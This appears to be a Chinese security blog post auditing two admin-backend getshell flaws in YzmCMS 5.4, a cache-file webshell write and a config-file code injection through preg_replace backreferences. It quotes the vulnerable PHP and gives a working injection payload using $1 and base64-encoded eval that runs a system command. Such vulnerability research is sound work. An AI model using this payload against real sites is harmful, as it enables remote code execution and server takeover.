yzmcms5.4后台Getshell分析


前言

看了先知YzmCMS 5.4 后台getshell的文章分析感觉该漏洞颇具学习价值,所以自已下载下来审计一波,学习学习其中的思路。

缓存文件Getshell

我们看看缓存文件的写入函数_fileputcontents,文件位于yzmphp/core/class/cache_file.class.php

    protected function _fileputcontents($file, $contents){
        if($this->config['mode'] == 1){
            $contents = serialize($contents);
        }else{
            $contents = "<?php\nreturn ".var_export($contents, true).";\n?>";
        }

        $filesize = file_put_contents($file, $contents, LOCK_EX);
        return $filesize ? $filesize : false;
    }

这里我们可以看到只有config['mode']=1 进入序列化代码我们写入任意代码才有意义,否则在前面添加上<?php \nreturn就算能够写入webshell也无法运行。

common/config/config.php配置文件中我们可以看mode默认是2。所以该漏洞比较鸡肋需要mode修改为1可以利用。这里我们手工把它修改为1.

我们继续看看哪里调用该方法,最终发现在本文件下的set方法调用了该方法:

    public function set($id, $data, $cachelife = 0){
        $cache  = array();
        $cache['contents'] = $data;
        $cache['expire']   = $cachelife === 0 ? 0 : SYS_TIME + $cachelife;
        $cache['mtime']    = SYS_TIME;

        if(!is_dir($this->config['cache_dir'])) {
            @mkdir($this->config['cache_dir'], 0777, true);
        }

        $file = $this->_file($id);

        return $this->_fileputcontents($file, $cache);
    }

这里并没有什么特别的操作,这里主要看一下_file 是如何处理文件名的:

    protected function _file($id){

        $filenmae  = $this->_idtofilename($id);
        return $this->config['cache_dir'] . $filenmae;
    } 

继续看一下_idtofilename方法

    protected function _idtofilename($id){

        return $id . $this->config['suffix'];
    }

config['suffix']默认为.cache.php,所以最终的文件名为$id.cache.php

返回去看看哪里调用了set方法:

yzmphp/core/function/global.func.phpsetcache方法可以看到其调用该方法:

继续看看哪里调用setcache方法来写入缓存。

调用倒是很多,但是实际可以利用点没几个。其中在文件commom/function/system.func.php中可以利用:

function get_config($key = ''){
   if(!$configs = getcache('configs')){
      $data = D('config')->where(array('status'=>1))->select();
      $configs = array();
      foreach($data as $val){
         $configs[$val['name']] = $val['value'];
      }
      setcache('configs', $configs);
   }
    if(!$key){
      return $configs;
   }else{
      return array_key_exists($key, $configs) ? $configs[$key] : '';
   }  
}

setcache的第二个参数是从数据库中config表读取的,因此找到一个写入该表的接口,再使得get_config函数被调用即可。所以我们的重点就在于找到写入点。

在文件application/admin/controller/system_manage.class.php中就有一个可用的接口

        if(isset($_POST['dosubmit'])){
            $config = D('config');
            $res = $config->where(array('name' => $_POST['name']))->find();
            if($res) return_json(array('status'=>0,'message'=>'配置名称已存在!'));
            if(empty($_POST['value']))  return_json(array('status'=>0,'message'=>'配置值不能为空!'));

            $_POST['type'] = 99;
            if(in_array($_POST['fieldtype'], array('select','radio'))){
                $_POST['setting'] = array2string(explode('|', rtrim($_POST['setting'], '|')));
            }else{
                $_POST['setting'] = '';
            }
            if($config->insert($_POST)){
                delcache('configs');
                return_json(array('status'=>1,'message'=>L('operation_success')));
            }else{
                return_json(array('status'=>0,'message'=>L('data_not_modified')));
            }           
        }
        include $this->admin_tpl('user_config_add');
    }

可以看到post过来的值被直接insert到了config表(如果insert的第二个参数为true则会进行过滤),所以这个接口就可以用于写入代码。

漏洞复现

修改配置文件中的mode为1,然后再自定义配置处修改配置值为我们的一句话木马。

成功Getshell:

保存配置造成的Getshell

后台在修改配置的时候常常会把一些配置信息写入配置文件中,如果对输入过滤不够的严格就会容易造成Getshell。

我们这里看一下对写入配置过滤函数:

yzmphp/core/function/global.func.php文件中safe_replace方法:

function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('<','&lt;',$string);
    $string = str_replace('>','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

过滤的比较严格把单引号也该过滤掉了正常情况我们无法闭合单引号是无法Getshell的。但问题代码出现在:

application/admin/common/function/function.phpd 的set_config方法中

function set_config($config) {
   $configfile = YZMPHP_PATH.'common'.DIRECTORY_SEPARATOR.'config/config.php';
   if(!is_writable($configfile)) showmsg('Please chmod '.$configfile.' to 0777 !', 'stop');
   $pattern = $replacement = array();
   foreach($config as $k=>$v) {
      $pattern[$k] = "/'".$k."'\s*=>\s*([']?)[^']*([']?)(\s*),/is";
      $replacement[$k] = "'".$k."' => \${1}".$v."\${2}\${3},";               
   }
   $str = file_get_contents($configfile);
   $str = preg_replace($pattern, $replacement, $str);
   return file_put_contents($configfile, $str, LOCK_EX);     
}

注意这里preg_replace函数中使用了${1}这样的形式来指定上文匹配到的',虽然{}被过滤了,但是$1实际上是与${1}等价的,因此我们通过这种方式闭合单引号,然后,也没有被过滤,所以我们可以在键值对的后面插入别的代码,可惜的是>是被过滤的,所以我们无法插入key => value这样的形式来修改项。不过可以直接插入函数,像array(0=>1,func())的形式中,func是会被执行的,并且将返回值作为value成为array的一部分。

漏洞复现

系统设置->附加设置处

使用$1或者$2都可以充当'的作用。使用base64进行编码绕过特殊字符的检测:

最终payload:

``mark.png$1,eval(base64_decode($1c3lzdGVtKCdlY2hvIDEyMycpOw==$1)),$1`

最终执行的语句为system('echo 123');

保存好刷新页面:


文章作者: EASY
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EASY !
 上一篇
Yii2 反序列化链分析 Yii2 反序列化链分析
前言继续代码审计学习,这次分析Yii2 反序列链。 基础知识对象序列化与反序列化PHP的官方解析: 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数能够重新把字符串变
2020-11-24 EASY
下一篇 
代码审计-天目CMS 代码审计-天目CMS
前言继续MVC的代码审计学习,这次审计的是天目MVC核心版.官方介绍:TEMMOKUMVC是邳州天目网络科技有限公司开发的一款专业的PHP+MYSQL产品,采用自主MVC构架,适用大型及中小型企业的开源MVC。本次审计出来的漏洞都出现于后台
2020-11-17 EASY
  目录